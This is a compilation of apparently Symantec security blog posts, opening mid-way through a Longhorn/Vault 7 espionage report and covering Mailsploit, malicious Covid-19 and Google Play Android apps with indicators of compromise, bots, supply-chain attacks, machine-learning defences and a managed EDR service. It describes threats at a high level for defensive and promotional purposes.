Before deploying malware to a target, the Longhorn group will preconfigure it with what appears to be target-specific code words and distinct C&C domains and IP addresses for communications back to the attackers. Longhorn tools have embedded capitalized code words, internally referenced as “groupid” and “siteid”, which may be used to identify campaigns and victims. Over 40 of these identifiers have been observed, and typically follow the theme of movies, characters, food, or music. One example was a nod to the band The Police, with the code words REDLIGHT and ROXANNE used.
Longhorn’s malware has an extensive list of commands for remote control of the infected computer. Most of the malware can also be customized with additional plugins and modules, some of which have been observed by Symantec.
Longhorn’s malware appears to be specifically built for espionage-type operations, with detailed system fingerprinting, discovery, and exfiltration capabilities. The malware uses a high degree of operational security, communicating externally at only select times, with upload limits on exfiltrated data, and randomization of communication intervals—all attempts to stay under the radar during intrusions.
For C&C servers, Longhorn typically configures a specific domain and IP address combination per target. The domains appear to be registered by the attackers; however they use privacy services to hide their real identity. The IP addresses are typically owned by legitimate companies offering virtual private server (VPS) or webhosting services. The malware communicates with C&C servers over HTTPS using a custom underlying cryptographic protocol to protect communications from identification.
Prior to the Vault 7 leak, Symantec’s assessment of Longhorn was that it was a well-resourced organization which was involved in intelligence gathering operations. This assessment was based on its global range of targets and access to a range of comprehensively developed malware and zero-day exploits. The group appeared to work a standard Monday to Friday working week, based on timestamps and domain name registration dates, behavior which is consistent with state-sponsored groups.
Symantec’s analysis uncovered a number of indicators that Longhorn was from an English-speaking, North American country. The acronym MTWRFSU (Monday Tuesday Wednesday ThuRsday Friday Saturday SUnday) was used to configure which day of the week malware would communicate with the attackers. This acronym is common in academic calendars in North America. Some of the code words found in the malware, such as SCOOBYSNACK, would be most familiar in North America. In addition to this, the compilation times of tools with reliable timestamps indicate a time zone in the Americas.
Distinctive fingerprints
Longhorn has used advanced malware tools and zero-day vulnerabilities to infiltrate a string of targets worldwide. Taken in combination, the tools, techniques, and procedures employed by Longhorn are distinctive and unique to this group, leaving little doubt about its link to Vault 7.
Throughout its investigation of Longhorn, Symantec’s priority has been the protection of its customers. Through identifying different strains of Longhorn malware, connecting them to a single actor, and learning more about the group’s tactics and procedures, Symantec has been able to better defend customer organizations against this and similar threats. In publishing this new information, Symantec’s goal remains unchanged: to reassure customers that it is aware of this threat and actively working to protect them from it.
Protection
Symantec and Norton products have been protecting against Longhorn malware for a number of years with the following detections:
Backdoor.Plexor
Trojan.Corentry
Backdoor.Trojan.LH1
Backdoor.Trojan.LH2
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Machine Learning: A Modern-Day Cyber Security Hero?
Machine Learning and Artificial Intelligence Can Help Enable Cyber Tools
Every day, the complexion of cyber attacks increases in sophistication. New malware variants are spawned almost daily, the number of web attacks is up by 56%, and new practices like formjacking, cryptojacking, and Internet of Things (IoT) strikes have joined the ranks of old standbys such as ransomware and phishing. The landscape cries for a herculean assist to stay ahead of the never-ending attack vectors.
Many see a cyber security super hero in the form of machine learning and artificial intelligence capabilities folded into modern-day tools and platforms. Machine learning techniques can help comb through and analyze the vast amounts of data being collected to power real-time threat detection. Industry experts like PcW expect many organizations to get their first real taste of AI and machine learning through cyber security use cases, including distributed denial of service (DDOS) pattern recognition, prioritization of log alerts for escalation and investigation, and risk-based authentication. According to PcW’s 2018 Global State of Information Security Survey, 27% of organizations plan to invest in cyber security defenses that incorporate some form of AI and machine learning.
Enthusiasm is building for the simple reason that AI and machine learning-enabled cyber security tools--whether intrusion prevention systems, endpoint security solutions or anti-virus platforms--have a much better shot at identifying and detecting attack vectors from a collective morass of data points than any individual threat analyst or team of security professionals.
Many see a cyber security super hero in the form of machine learning and artificial intelligence capabilities folded into modern-day tools and platforms.
“Identifying attacks and operations from adversarial groups is pretty hard because of the sheer size of the data set,” said Yun Shen, a senior principal researcher at Symantec, who is part of an effort to explore how to leverage next-generation technologies such as neural networks to solve the continuously-evolving cyber security challenge.
“Machine learning is actually one of best tools for handling information security,” according to Shen. “If you can develop it in a responsible way, it can identify patterns that can be used to design specific defense strategies.”
Uncovering Patterns
Vendors across the security landscape already recognize that machine learning and AI, and whatever emanates beyond that, is a game changer for enterprise-class security protections. Most of the leading security platforms now incorporate machine learning and AI capabilities to aid in the detection of anomalies, to help surface new and evolving threats prior to execution, and to facilitate identification and authentication.
In the case of Symantec’s Endpoint Protection offering, for example, advanced machine learning and AI capabilities work in tandem with the Global Intelligence Network (GIN), Symantec’s threat intelligence network that collects telemetry data from millions of attack sensors, to detect possible threats prior to execution as well as to flag potentially questionable files and websites so security organizations can take action before they can do damage.
“Attacks have gotten really sophisticated, and attackers have learned to be quieter and more subtle, hence the more damage they can do,” noted Eliezer Kanal, technical manager, CERT Data Science team, in the CERT Division of the Software Engineering Institute at Carnegie Mellon University. “Any large-scale organization that has 5,000 or more employees is going to have tens of thousands if not hundreds of thousands of incident tickets created on a monthly or daily basis. The chance that one person is going to find two tickets that are related is small, almost zero. Machine learning will find those patterns.”
The ability to predict the exact actions an attacker might take as part of an Intrusion Prevention System, for example, would allow for proactive measures to prevent the attack from happening in the first place
Looking forward, the SEI team is researching how to apply natural language processing technology to train computers in how to find clues in specification documents to discovery cyber security vulnerabilities without the help of human analysts, Kanal says.
Symantec researchers are also taking a leap beyond detecting malicious activity, but rather aiming to predict the specific steps an adversary might take when performing an attack. Unlike other research initiatives that come to a binary conclusion—whether or not an attack will happen—the Symantec effort, dubbed Tiresias, is pushing the boundaries with Recurrent Neural Networks (RNNs) to predict future events based on previous observations. The ability to predict the exact actions an attacker might take as part of an Intrusion Prevention System, for example, would allow for proactive measures to prevent the attack from happening in the first place, Shen explains.
Of course, there’s a flip side to any benefits AI, machine learning, and any of these other advanced technologies can deliver. As much as they provide a stronger defense to detect and potentially prevent cyber events, the technologies can also aid in creating new and more virulent attack vectors.
That’s why efforts like Tiresias are so important to the future of cyber security, Symantec’s researchers maintain.
“So far cyber security has been more about reactive security—this technology enables a shift to go from reactive to proactive and that’s key for the future,” said Pierre-Antoine Vervier, a senior principal research engineer at Symantec and part of the team working on Tiresias.
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Machine Learning: Symantec’s Past, Present, and Future
Beyond the buzzwords: Here’s how powerful algorithms are creating strong protection for users
The term ‘Machine Learning’ was first coined in 1959 by a pioneer in the field named Arthur Samuels, who developed a revolutionary computer program at IBM that could play checkers against a human opponent - and get better as it did.
Today that may seem quaint, but when Samuel’s program was first demonstrated, so the story goes, IBM’s stock jumped 15 points, overnight.
The field continues to amaze (and promise profits). Yet across the cyber security industry, machine learning is often a buzz-phrase, casually thrown about without any real understanding of what it actually is, what it truly can do, or what it requires. It may be currently hailed as security’s ‘shiny new toy,’ but for many it is just a newly-purchased hammer and now everything looks like a nail.
At Symantec, however, machine learning is seen a bit differently. A bit more deeply.
According to Eric Chien, Distinguished Engineer and Technical Director of Symantec’s Security Technology and Response (STAR) Division, “the reality is we've been doing machine learning for years.”
At its simplest level, cyber security machine learning involves feeding large amounts of data about both malicious and legitimate files into an algorithm. The algorithm outputs a ‘classifier’ that can then be used to look at a new file it has never seen before and determine if that file, or that URL, or that situation on an endpoint, whatever the particular in question may be, is good or bad. Previously, writing a classifier was always work done by human analysts, but machine learning allows for it to be done in an automatic way without a human needing to write the program. The machine becomes the analyst.
But the ‘learning’ part has to be done just right.
To make machine learning effective, you have to keep revisiting your work, retraining your algorithms over and over to produce newer and better classifiers as attackers keep retesting their threats against them. Unfortunately, the bad guys are using machines to revisit their work, too, devising automated scripts to constantly poke and probe and look for vulnerabilities.
“Ultimately, what we do is build out a graph. We call it a spidering system that automatically combs trillions of security events to connect the dots and find the paths that are most interesting, and then build out an entire attack chain, so we can quickly get the picture of an attack,” says Alejandro Borgia, Vice President of the Security Technology and Response (STAR) Division. “That technology is something no one else has today. It used to take our analysts upwards of two weeks to manually run a query for a particular indicator of interest. We took that two-week process down to minutes. Now they can run thousands and, in parallel, check for the latest attack as it's unfolding.”
To create an effective classifier requires more than merely ‘large’ but truly vast amounts of data. A small data set doesn’t create a full enough picture and leads to mistakes. According to Adam Bromwich, Senior Vice President of the STAR Division, you need, “an insane amount of data.”
To make machine learning effective, you have to keep revisiting your work, retraining your algorithms over and over to produce newer and better classifiers as attackers keep retesting their threats against them.
This is where size truly matters. Symantec’s Global Information Network (GIN) collects telemetry from 175 million endpoints, *80 million web proxy users, and *63 million email users, generating over 8 billion reputation requests per day and over 20 trillion security events per year.
In addition to its products and control points, Symantec monitors nearly 100 different industry feeds daily, not blindly trusting, of course, but evaluating them to determine exactly what genuinely is a threat and what is not.
It is that massive data volume that gives Symantec’s STAR Team the visibility to determine not only what is ‘bad’ but what is ‘good’, and knowing what is good is almost more important, according to Bromwich.
“If we know all the good stuff out there, we can be a lot more aggressive. Every endpoint, every web gateway, and now every mobile device, is sending us telemetry, and we're able to use our analytics capabilities to determine whether something is likely good or not. Once we identify likely good, we can block the rest.”
The ‘old world’ was simply about detecting malware, understanding malware, reverse-engineering malware. The way Symantec detects advanced attacks today is by driving in ‘insane’ amounts of telemetry and running advanced analytics on it. By generating intelligence about what's really happening on any one machine, Symantec can share information about a potential attack—its features—across the entire Symantec product line, keeping everyone safe.
“Machine learning makes our endpoint solutions that much smarter. It makes our network solutions smarter,” says Brian Witten, Senior Director of Development. “But we're also leveraging intelligence from all our products to create a Security Operation Center (SOC) workbench where we can help the SOC analysts be almost superhuman with bionic intelligence reinforced by machines operating at a scale that people can't really wrap their head around. By doing all of that we multiply the effectiveness of everybody on our Symantec team.”
Back to basics for a moment: The more features you have, the better your classifier. But generating new features is time-consuming; you have to generate the idea, measure it, build the model, and then prove it out. Yes, machine learning allows you to automatically generate and discover new features, reducing the time it takes to create new classifiers and apply them to a model that can actually run on an endpoint. That’s great.
But in today’s threat landscape, a classifier has only milliseconds to decide if a file is clean or malicious. Rudimentary machine learning is not enough, and so Symantec has elevated its machine learning into the realm of AI (Artificial Intelligence), creating an entirely new level called ‘deep learning.’
A prime example is Symantec’s Insight Technology, developed in the Research Labs to look at file characteristics, the variables of which constantly change. Insight instantaneously applies what it gleans to change its behavior, to compensate. Not only does it determine what files might be dangerous, it extrapolates where else those dangerous files might be found and what other Symantec clients might be affected. It learns.
And just where is Symantec taking what it learns? To the cloud. We—all of us—are the Cloud Generation, where users, data, devices need access everywhere: On-prem, in the cloud, and in between.
But there is another part to Symantec’s machine learning story, a very important one.
When Symantec acquired Blue Coat, Inc., in 2016, they added visibility from the leading provider of entry point security for enterprises and governments around the world. With Symantec already being the worldwide leader in endpoint protection, adding in Blue Coat means an exponential increase in protection. “Putting their network visibility with our endpoint computer device visibility allows us to not only prevent hundreds of thousands more attacks,” Chien said, “but to actually uncover brand new, previously unknown attack campaigns, just by combining our intelligence.”
The integration of these two networks means they work as one now, blocking nearly 1 million more threats per day, responding essentially as one massive global platform.
Now, multiply that protection again with the newly updated Symantec Endpoint Protection 14 which, according to Bromwich, “is changing the game of software. It's innovation at a level that is designed to throw a huge nuclear bomb on the attacker. They won't even know what happened.”
New Ways to Confound Attackers
As a ‘game changer,’ SEP 14 offers multiple advanced cloud-based technologies. “If you turn it on, it's going to start blocking,” says Bromwich, “The cloud really enables us to give you the ability to lock things down.”
The first big advance is ‘high-intensity detection,’ which gives the user the ability to ‘crank up’ the machine learning within the product to fundamentally lock down their machine, making it impossible for an attacker to latch on. Bromwich again: “There's no way they can iterate. There's no way they can just change things or get it in through a different exploit or through a different channel. Those things get cut off, and it's going to take attackers a very long time to be able to figure out how to get around that.”
The second advance is ‘memory exploit mitigation,’ which offers much more protection for zero-day exploits right out of the gate. Simply put, new exploits will fail.
The third advance involves creating a hardened environment on the machine via the cloud, essentially taking a technology that typically runs on a server to lock it down and create that on the endpoint environment, where a user may need to do different things than a server might. The new technology essentially puts the endpoint in a container, making sure it's safe.
There’s also a fourth advance that is a bit crafty … Deception.
Deception is not a hardening-type technology, but is about tricking an attacker, especially advanced attackers who do manage to break in and start ‘looking around.’ Deception puts fake items on the machine that the attackers trip over, not knowing they are fake. “It essentially turns your entire endpoint into a honeypot network to spot bad things happening,” offers Bromwich. “It's a tried-and-true technique in every type of war, and it's certainly a powerful one in cyber war. We felt it was really important to bring that to our portfolio.”
Adam Bromwich on machine learning as simply a subset of an Integrated Cyber Defense.
The cold new reality is that most attacks now are programmatic. No longer is it some black hat sitting there typing, typing, typing, endlessly trying to trick you. Instead the bad actors run their scams and schemes through algorithms. They now have a machine running a program trying to figure out how to penetrate your systems, your firewall, even your iPhone.
It is now about algorithm versus algorithm.
But there is still the human side. Us. The systems we use are merely extensions of who we are, decent people simply trying to run our lives and businesses on these machines we have become so dependent on.
Matthew Barnes, Vice President of Cyber Security Services, views it this way: “We take in 150 billion events per day from our customers. From that information we try to answer one simple question: is the customer protected, yes or no? If the customer's protected, awesome. If the customer is not protected, the question becomes how quickly do you get from ‘no’ to ‘yes’?"
Symantec prides itself on its people and their constant innovation, on their endless striving to help individual customers, enterprises, and governments make their systems more secure. No doubt machine learning is a cornerstone of the future of cyber security, but to Symantec it is simply another arrow in the quiver of their Integrated Cyber Defense.
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Mailsploit: New Email Exploit Could Permit Sender Spoofing
Symantec email security.cloud customers protected from exploit attempts.
A newly discovered exploit affects more than 30 widely used email applications, could allow attackers to spoof sender addresses and, in some cases, carry out cross site scripting (XSS) and code injection attacks. “Mailsploit” is the collective name for several vulnerabilities affecting email clients, including Microsoft Outlook 2016, Mail for Windows 10, Apple Mail (including macOS, iOS, and watchOS versions), Mozilla Thunderbird, and Yahoo Mail for iOS and Android.
Mailsploit was discovered by security researcher Sabri Haddouche, who published his findings on Tuesday December 5. Haddouche said Mailsploit had been found and confirmed in 33 different products.
What is Mailsploit?
If successfully exploited, Mailsploit allows an attacker to falsify the address an email appears to come from. It takes advantage of a flawed implementation of RFC-1342, a 25-year-old recommendation for displaying non-ASCII text in mail headers, and allows an attacker to create headers that insert various bytes into the “from” line in an attempt to mask the true sender.
This could allow an attacker to increase their chances of successfully delivering a malicious email to a target since the recipient is more likely to open it if it appears to come from a trusted source.
Spoofing email headers was once a fairly trivial thing to do, but the practice was curtailed by the rollout of new safeguards such as Domain-based Message Authentication, Reporting and Conformance (DMARC). Mailsploit could allow an attacker to create a spoofed email that will bypass DMARC.
Additionally, in the case of some affected email clients, Mailsploit also permits code injection and cross XSS attacks. These include Spark, a mail client for MacOS and iOS, MacOS clients Polymail and Airmail, and mobile apps TypeApp and AquaMail.
Mitigation status of affected software
To date, Mailsploit has been patched in eight products and triaged on 12 more products. Two vendors—Mozilla and Opera—said they won’t fix the bug because they consider it to be a server-side problem. Apple Mail, Mail for Windows, and Outlook 2016 are all listed as triaged. The bug has been fixed in Yahoo Mail for iOS and Android.
A full list of affected products and mitigation status is available here.
Symantec Email Security.cloud and Symantec Messaging Gateway (SMG) message filtering are not affected by any of the vulnerabilities reported at www.mailsploit.com. For general message handling and sender authentication, we do not attempt to decode the local part of the “From” header’s email address. Symantec products are also not susceptible to the XSS/Code Injection portion of the vulnerabilities.
Protection
Symantec has the following protection in place to protect customers against these attacks:
Skeptic
Exploit/Phishing.Mailsploit
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Malicious Android Apps Exploit Coronavirus Panic
Symantec found almost a dozen Android apps that pretended to be monitoring the Covid-19 outbreak but were actually infected with malware.
On March 26, Symantec discovered 11 Android applications that were all made to appear like they were legitimate apps related to tracking cases in the Covid-19 pandemic, but which were in fact secretly downloading a malicious payload after installation.
The coronavirus pandemic is the main news story all over the world right now, with hundreds of thousands of cases and thousands of deaths.
These applications were created after March 20, a time when Covid-19 was spreading widely, particularly in Europe. From the apps’ user interface (UI) (see Figure 1) we can see these apps were targeting Italy, which has the most confirmed cases of Covid-19 in Europe, though it is now closely followed by Spain. However, even though it is clear the malicious apps were targeting Italy, we did also see them installed on devices in the U.S. and France as well.
Figure 1. How the malicious apps appear on people’s phones
Repacked application
All 11 of the malicious apps we discovered were repacked versions of a legitimate app, SM_Covid19 app, which “assesses the risk of transmission of the virus by monitoring the number, duration and type of contacts [people have]”. The repacked apps kept many of the features of the original app, such as collecting location and device information for Covid-19 monitoring. However, we found that the repacked apps were also injected with Metasploit, which allows for a reverse TCP connection and for various commands to be executed. The attackers can retrieve the compromised device user’s file information, SMS messages, contacts and even take screenshots of what the device is displaying.
The malware used also had a malicious module added that could download any payload from the attackers’ servers. This functionality means it would be possible for the attackers to perform the same attack on all users at the same time; it also means they could use all infected devices to create a botnet, potentially to do something such as perform a distributed denial of service (DDoS) attack or similar. The malicious apps’ ability to download any payload means they could in theory be used to infect a victim’s device with ransomware, infostealers, coinminers, or any other type of malware.
Figure 2. Screenshot of a sample of malware downloaded by the app
Figure 3. The attackers’ server IP
After decrypting the app, we were able to find the IP address of the control server. After investigating the server address, we found that the server was also located in Italy. We also discovered that the attackers also used a second server IP [87.19.73.8] for attacks.
This campaign shows that even at times of great global crisis attackers will try to take advantage of popular topics in an attempt to infect victims with malware, but there are some simple steps device users can take to help protect themselves from this type of activity.
Mitigation
Install a suitable security app, such as Symantec Endpoint Protection, to protect your device and data.
Always download and install applications from official websites and app stores only.
Protection
Symantec and Norton products detect the extensions as the following:
Trojan
Indicators or Compromise (IoCs)
File Sha2
02b91e67181fbfa0592bd89040a12a55b99f1db445c6adfe98f73fa381b5a431
31fdaa0693d4fe16e70909d3f1ca91f9123cd5f874115ded77881a0c5a6fe228
3229d5e49632465a7665dd968a960954013666cebcf9e3eb5852ef3f6504ddd7
47007ce18133cdbc80e07bdf9c8de9f61e17c74102409224d88b2fdb832aab85
75207868eeede268b57472560c75fcf5b249c17eae90587a3b730b148e1931e1
7b8794ce2ff64a669d84f6157109b92f5ad17ac47dd330132a8e5de54d5d1afc
8da5aacc3ad93c1fc461acc3fc4d22f02596bdb7e3e6fbff8a6b8a447e3b6620
a889c69175274350527dba4c7f88988b1e13c86d50c2ea5e6924d9b9c8213142
e3bfdd6f6fe99b5d34518845ee869f8b4cdf7aa89c2264061858fcb5edfad5d1
e64c549f5a7023579d9a1a936aac7a11c794a99be27ac8d87f0629610572beaf
e6ec7fd477cbebdf081705fa7908b54a2b7d9e552c5bb4119ce4afa79161039c
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Malicious Apps Persistently Appearing on Google Play and Using Google Icons
Seven apps have been discovered reappearing on the Play store under a different name and publisher even after these have been reported.
The Google Play app store has a reputation as the safest place online to get Android apps, and Google does a good job of advising users to limit exposure to malware and other risks by configuring their phones to forbid side-loading and alternative app markets in the Android Settings.
We’ve encountered several apps in the past, however, that manage to gain access to this walled garden. The latest of these discoveries is a set of apps that has managed to reappear in the Play store even after we alerted Google and the original app was removed. The same code was published on Google Play with a slightly different name under a new publisher.
This malware (Android.Reputation.1) appears on the Play Store hidden in at least seven apps in the U.S. offering fun, useful, and sometimes insidious features. These include emoji keyboard additions, space cleaners, calculators, app lockers, and call recorders. None of the samples we analyzed actually functioned as advertised on their Google Play pages. Once the app is installed, it takes various measures to stay on the device, disappear, and erase its tracks.
All of these apps have the same set of tricks designed to take advantage of the device user, including:
1) Waiting before undertaking the scam. The malware is configured to wait for four hours before launching its malicious activity, so as not to arouse user suspicion straight away. If the user isn’t tipped off right after app installation, they’re less likely to attribute strange behavior to the true culprit.
Figure 1. The malware is configured to wait for four hours
2) Requesting admin privileges. The app is looking to raise the barrier for its uninstallation and is usurping trusted branding to pull it off. The app uses the Google Play icon when requesting device administrator privileges.
Figure 2. Using the Google Play icon while asking for admin privileges
3) Keeping the victim in the dark. The app has the ability to change its launcher icon and its “running apps” icon in the system settings once installed. Again, it uses well-known and trusted icons—specifically that of Google Play and Google Maps—to allay suspicion.
Figure 3. The app changes its icon to emulate Google Maps
4) Delivering content to the device for profit. It should be noted that this is highly configurable and extensible. Currently, ads are pushed to the phone via Google Mobile Services, and URLs are launched in web views that redirect to the kinds of “you won” scam pages that we’ve outlined in a previous blog.
This configuration takes advantage of the legitimate and ubiquitous “Firebase Messaging” service, copying yet another service into a command and control (C&C) service.
Although malware appearing on Google Play leads the field in sophistication, there are patterns apparent. The package names we’ve seen reappearing on the Play store are a weak point in the evasion that’s being used:
Figure 4. Package names used by the malware
File Attachments
Text file with SHA2s and package names used by the malwareTXT668 bytes
Of course, the most foolproof way to identify malware involves a balanced combination of data gathering, machine learning, and human expertise, all with a focus on app behavior. This is the approach behind our mobile security technology, Symantec Mobile Insight.
Mitigation
Stay protected from mobile malware by taking these precautions:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton or SEP Mobile, to protect your device and data
Make frequent backups of important data
Protection
Symantec and Norton products detect this malware as:
Android.Reputation.1
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Malicious Bot Attacks: Why They're More Dangerous than Ever
Malicious bots remain a dangerous and persistent threat. Here’s how to beat them
Bad bots are the Internet threat that just won’t go away. They steal data, infect enterprises with malware, launch Denial of Service (DDoS) attacks, commit fraud, bring down vital network infrastructure, are used by nation states to influence elections, and more. And all that keeps happening even though the technology has been around for decades — so long, you would have thought we would have figured out how to beat it by now.
But the threat appears to be getting worse. Malicious bots account for an astonishing 20 percent of all Internet traffic, one study says. Why is the menace so bad, and what can you do about it? We talked to the experts, and here’s what they have to say.
Agile Development, Bad Bots and Cyber Criminals
Malicious bots remain a dangerous and persistent threat because they’re cheap to use, and easy to rent, modify and deploy — and they work. So says Bruce Beam, CIO of the (ISC)² IT security professional non-profit group.
“Malicious attacks are a business for criminals, and so it’s all about economics for them,” he explains. “Malicious bots offer a very good return on investment — and they’re effective. Cyber criminals can rent bots cheaply, if they want. And we talk a lot about agile development in enterprises, but the truth is, cyber criminals are the epitome of agile development. They can modify botnets very quickly for different malicious purposes and deploy them fast. They are a very agile group using a very good tool, unfortunately.”
Beyond that, he says, the dramatic growth in the use of IoT devices makes it easy to create giant botnets that can be used for nefarious purposes, because many of those devices can be easily hijacked. The IoT-based botnet called Mirai was used to bring down vast portions of the Internet with DDos attacks, and variants of it continue to evolve for malicious use.
Malicious bots are increasingly deployed for more than just traditional money-making activities.
Malicious bots are more difficult to detect than they have in the past, and are harder to protect against, says Kenneth Wilder, a cyber security expert working for the healthcare industry, and vice president of ISACA's Austin chapter.
“They’re able to impersonate legitimate traffic, because there are so many legal, useful bots used by businesses to do things like scrape data and create indexes for search engines,” he says. “That makes it difficult to tell the difference between a good bot and a malicious one.”
Beyond that, “Because of mobile devices and cloud computing, there are more attack surfaces now than ever, with data being transferred to various endpoints, making it easier for malicious bots to disguise themselves.”
Malicious bots are increasingly deployed for more than just traditional money-making activities. They’ve been used in attempts to influence elections, including the 2016 and 2018 ones in the United States. Symantec’s 2019 Internet Security Threat Report notes that in November, 2018, for example, “Twitter removed over 10,000 bots posting messages encouraging people not to vote.” Beam says malicious bots are also used for industrial espionage, and to steal insider financial information from companies and use that purloined data to make money on the stock market.
How to Protect Against Malicious Bots
Given the constantly evolving threat, what can enterprises do to protect themselves? Both Beam and Wilder say it requires constant vigilance and paying attention to the rapidly evolving bot landscape.
“Start with the basics,” Beam says. “That means making sure you’re always up to date on patches, because botnets explode when they hit unpatched networks. You also need to have defense in depth, which starts with training your workforce about what to look for. And you should have rules-based access with firewalls inside your environment both east and west so that if bots get in, they can’t spread throughout your entire network.”
Wilder adds, “Enterprises need to look where they’ve most vulnerable, including in automation, mobility and cloud computing. API security is also extremely important for closing out bots. With APIs, you have applications talking to other applications directly, so you have to make sure you have the proper authentication and security monitoring controls.”
He says that the DevOps continuous delivery model of constant updates and application development, if done improperly, can lead to an increase in security holes through which bots can crawl. He says that security needs to be built directly into the DevOps process, rather than being handled separately after development is done.
Finally, he says, “Ensure you have a strong security training and awareness program. Human interaction with software is not going away any time soon, and humans are the weakest link in the chain. So, we have to do better in making sure that employees are aware about bot threats and know how to protect themselves and the enterprise.”
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Malware Takes Aim at the Supply Chain
A new threat is gaining momentum – and it shows no sign of abating for a simple reason: It’s effective and difficult to combat
Your company does everything right to protect itself from cyber attacks. You’ve got anti-malware installed, you protect your perimeter and your network and your workforce is educated on how to avoid threats. Life is good; you can sleep easy at night.
Then one day, an important productivity application needs to be updated — accounting software, let’s say. IT updates it in the same way it’s done it so many times in the past. No need to give it a second thought.
Then, boom! Your company gets infected by a nasty Trojan that was inserted by hackers into the update. You’ve just been victimized by one of the newest and most difficult threats to protect against — malware that infects businesses via a software supply chain attack. And you’re not alone. Symantec’s latest Internet Security Threat Report found there was at least one such attack every month in 2017, a 200 percent increase over the previous year.
The threat shows no sign of abating for a simple reason: It’s effective and difficult to combat. Candid Wueest, Principal Threat Researcher with Symantec's global security response team, says that it’s becoming increasingly popular because many companies have protected themselves so well against many attacks, including zero day exploits, and so malware writers are turning to more sophisticated methods. He explains, “This attack is very, very stealthy and difficult to detect until it’s running – and even then, you might not discover it.”
How Supply Chain Attacks Works
In software supply chain attacks, bad actors get access to a software company’s distribution system and replace a legitimate software update with a malicious version of it. Then, when the company’s customers update their software, their systems are infected with the attacker’s payload, such as a Trojan, ransomware or other malware.
The attacks are difficult to protect against because the update is for a trusted application with permissions to open network connections and execute downloaded binaries. It’s from a legitimate domain that may have been whitelisted. It can even have a valid digital certificate.
There were two big supply chain attacks in 2017. In June, in the Petya/NotPetya (Ransom.Petya) attack, a Ukrainian accounting software update was used to distribute a malicious payload, which primarily infected businesses in the Ukraine. In August, an update for the popular clean-up tool CCleaner was Trojanized and downloaded 2.27 million times. But there were other such attacks as well, not as well known.
How to Protect Your Company
So, what can a company do to protect itself against such a surreptitious threat? More than you might think. Wueest recommends that companies roll out updates in small batches instead of deploying them enterprise-wide. In that way, a malicious update will only infect a few machines before it’s discovered, and the threat can be minimized. Companies should consider first installing updates in safe sandboxes, so that the threat will be even more contained because it can’t escape from the sandbox before it’s detected.
Especially important, he says, is that companies make sure that their anti-malware software has built-in behavior-based protection — that is, the software doesn’t just check for known malware or specific executables, but that it examines how software behaves after it’s installed or updated. In that way, once the malware is installed by the software update, it will be quickly caught and the damage can be contained.
In some attacks, such as with CCleaner, a supply chain attack is a multi-tiered one. After companies install the update, it lets loose software which lets the attacker see which companies have been infected by examining all the IP addresses which have installed the software. The attacker then uses the software to deliver malicious payloads such as Trojans or ransomware to those enterprises in which they’re interested. That means, he says, that the real damage may not immediately follow the initial infected software update — all the more reason to have anti-malware that includes behavior-based protection built in.
This attack is very, very stealthy and difficult to detect until it’s running – and even then, you might not discover it.
Wueest believes that many software supply chain attacks go unreported because they’re limited to software niches. For example, he says they might target industrial control systems. It’s a way to jump the “air gap” — infect systems that aren’t connected to the Internet. Software updates on some control systems not connected to the Internet are done via plugging USB drives into them. Plugging in an infected update can infect non-Internet-connected systems.
That can be particularly problematic, because in some instances the IT security team is separate from the industrial security team, who may not be as well-versed in computer threats. So, he says that it’s best if companies unify their security teams, or at least have solid communications between them, to protect against these kinds of threats.
If companies follow all this advice, he says, even if they are infected, they won’t be harmed, because they’ll be able to quickly find out they’re under attack, and can then quickly clean up the infection.
“If you follow best practices, you may get compromised but you won’t lose any data,” he concludes.
If you found this information useful, you may also enjoy:
2018 Internet Security Threat Report
NIST: Software Supply Chain Attacks
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Managed EDR Accelerates Cyber Response for Government Agencies
Bolstering defenses at the endpoint can help agencies blunt new threats from attackers targeting systems to disrupt operations
In today’s threat landscape, cyber security requires more than a strong defense. State and local government agencies need the ability to proactively seek out and remediate stealthy threats to reduce the efficacy of attacks. That is the premise behind Endpoint Detection and Response (EDR) solutions. And while some agencies might believe they don’t have the skillsets or resources within their teams to effectively use EDR solutions, they shouldn’t settle for traditional methods - there is an answer.
EDR solutions are designed to help cyber teams deal with the increasing sophistication of cyber threats, as malicious actors continue to adapt their techniques to evade detection and exploit unknown vulnerabilities. The longer they remain undetected in an environment—what’s known as dwell time—the more damage they can do. In fact, a 2018 study by Ponemon Institute found the average dwell time is 191 days.
Those threats are also growing more dangerous. For example, according to Symantec’s 2019 Internet Security Threat Report, an increasing number of groups are targeting systems that will enable them to disrupt operations. So how can state and local agencies better protect their systems? It starts with the endpoint.
How Symantec EDR Can Help
Symantec EDR addresses these challenges by accelerating capabilities across the cyber lifecycle, including providing some key functions:
Detect and expose: EDR reduces the time it takes to discover a breach and determine its scope, using machine learning and behavioral analytics to identify suspicious activity and detect and prioritize incidents based on risk.
Investigate and contain: EDR includes Targeted Attack Analytics, which uses artificial intelligence and machine learning to analyze global threat data and provides threat hunters with indicators of compromise for which to search in their own environments. If indicators are found, potentially compromised endpoints can be quarantined until the investigation is complete.
Resolve: EDR supports the rapid remediation of impacted endpoints, including deleting malicious files and associated artifacts and blacklisting files to prevent future attacks.
Integrate and automate: EDR provides the cyber team with a unified view of incident data and actions from across the enterprise. It also supports the use of playbooks that automate the work flows and best practices of investigators.
Taken together, these capabilities augment the work of an agency’s security operations center (SOC), increasing the productivity of cyber experts and providing better visibility into the organization, both on-premises and in the cloud.
Still, state and local agencies might find the concept of EDR a bit daunting. Advanced investigations and threat hunting are sophisticated skillsets that agencies might not have on staff. And their cyber experts likely are already putting in long hours working on existing security projects and dealing with immediate threats, leaving little time for proactive detection and in-depth investigations. In these cases, many agencies are considering third party security service providers who can work closely with their teams and provide these unique capabilities.
Symantec Managed Endpoint Detection and Response
Symantec MEDR provides the human expertise and resources needed to accelerate state and local agencies’ cyber detection and response programs.
Over 500 certified cyber security professionals, with extensive experience in security monitoring, threat hunting, advanced investigations, and adversary threat intelligence deliver the MEDR service from across six Symantec SOCs around the globe. MEDR analysts are armed with Symantec EDR, removing the burden of having to put another agent on the endpoint. MEDR is powered by Symantec SOC Technology Platform big data analytics and Symantec Global Intelligence Network (GIN) correlation, resources that are difficult and expensive to establish and manage in-house for many agencies.
The relationship between the MEDR team and the agency’s team is critical to help meet the agency’s security and business goals. MEDR teams are assigned by industry and region, bringing extensive experience and expertise for the unique challenges facing state and local agencies today. MEDR analysts are accessible 24x7 via phone, portal, email, and online chat and provide agencies with business reviews, custom monthly reports, emerging threat reports, threat landscape webinars, and much more. MEDR core capabilities include:
Managed Threat Hunting – automated hunting of emerging IoCs and TTPs enhanced with human analysis to detect threats that other security technologies may miss
